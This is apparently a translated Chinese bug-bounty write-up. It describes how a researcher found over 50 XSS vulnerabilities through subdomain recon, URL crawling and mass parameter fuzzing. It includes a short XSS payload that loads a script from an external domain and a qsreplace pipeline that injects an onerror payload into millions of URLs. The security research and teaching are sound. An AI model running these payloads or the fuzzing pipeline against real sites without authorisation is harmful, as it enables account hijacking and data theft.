白帽故事 · 2022年4月20日 0

如何在Bugcrowd公共项目中找到50多个XSS漏洞

背景介绍:

今天的分享来自一位名为Takshal(tojojo)的白帽子,他是一名来自印度的网络安全研究员和开发人员。他在信息安全行业有着3年以上的经验,同时也有自己的YouTube频道,这也是他的第一篇文章,废话不多说,让我们看看这位小哥如何在公共项目中找到50个以上的XSS(跨站点脚本攻击)漏洞。

出于安全原因,目标站点统一称之为abc.com。

选定目标后,无非就是目标侦查和收集工作了,在此过程中小哥使用到工具有:

  • AssetFinder
  • SubFinder
  • Amass
  • Find-domain
  • Google Dorking

(注意:以上这些工具通常用于发现目标子域)

运行工具后,小哥收集到了576个子域信息,下一个过程是找到活跃的子域数量,对于这个过程,很多白帽子使用HTTPX,速度也会快一些,但白帽小哥更喜欢使用HTTProbe,这是由安全研究员Tomonomnom制作的工具,因为白帽小哥也是Tomnonom的铁粉,

这两个工具都有自己的算法来识别子域中的开放端口,具体命令如下:

$ cat subdomains.txt | httprobe | tee -a host.txt

在探测过程后,成功找到了260个活跃主机,同时白帽小哥利用Google-Dorking技术找到一些目标子域的登录页面,于是,小哥决定这些登录功能,其中一个子域:xyz.abc.com,在完成注册过程后,小哥开始查看所有可用功能,在检查了所有内容之后,他在URL中找到了一个易受攻击的页面,在那里能够执行html注入,但却只能注入20个字符,最终白帽小哥花了大约两天的时间将html注入转换为XSS Payload:

<script/src=//NJ.₨></script>

于是,小哥很愉快的向Bugcrowd提交了漏洞报告,但是厂商却在没有通知他的情况下默默地修复了漏洞,并将漏洞报告标记为 N/A(不适用)。

骨哥画外音:原来老外也有这种骚操作~

经历了这件事之后,白帽小哥非常沮丧和失望,甚至产生了负面情绪,他甚至开始怀疑他的技能以及个人职业生涯,但最终小哥决定相信自己和这3 年来的工作经验,所以他带着自己开发的工具重回到该目标,这次他使用了自己开发的自定义爬虫脚本工具,并在 waybackurl 脚本的帮助下,提取到了超过 5000,000个 abc.com 的所有子域中的站点信息,使用的命令是:

cat host.txt | crawler | tee -a endpoint.txt
cat host.txt | waybackurl | tee -a endpoint.txt

在找到500万个站点后,白帽小哥开始利用的qsreplace工具来Fuzz所有参数,以帮助其找到xss漏洞,命令如下:

cat endpoint.txt | qsreplace ‘“><img src=x onerror=alert(1)> | tee -a xss_fuzz.txt

执行命令后,小哥必须检查这些Payload的响应,于是他创建了一个名为Freq的工具,该工具可以在小哥的GitHub库中找到,具体执行此命令为:

cat xss_fuzz.txt | freq | tee -a possible_xss.txt

在这之后,白帽小哥成功找到了1000个站点,这些站点以明文形式响应了Payload,因此,小哥不得不手动检查所有受影响的站点,白帽小哥总共报告了大约56个XSS漏洞,目前所有漏洞都已被平台接受,还有一些其它的XSS漏洞报告尚待处理中。

小哥的Github库:https://github.com/takshal/freq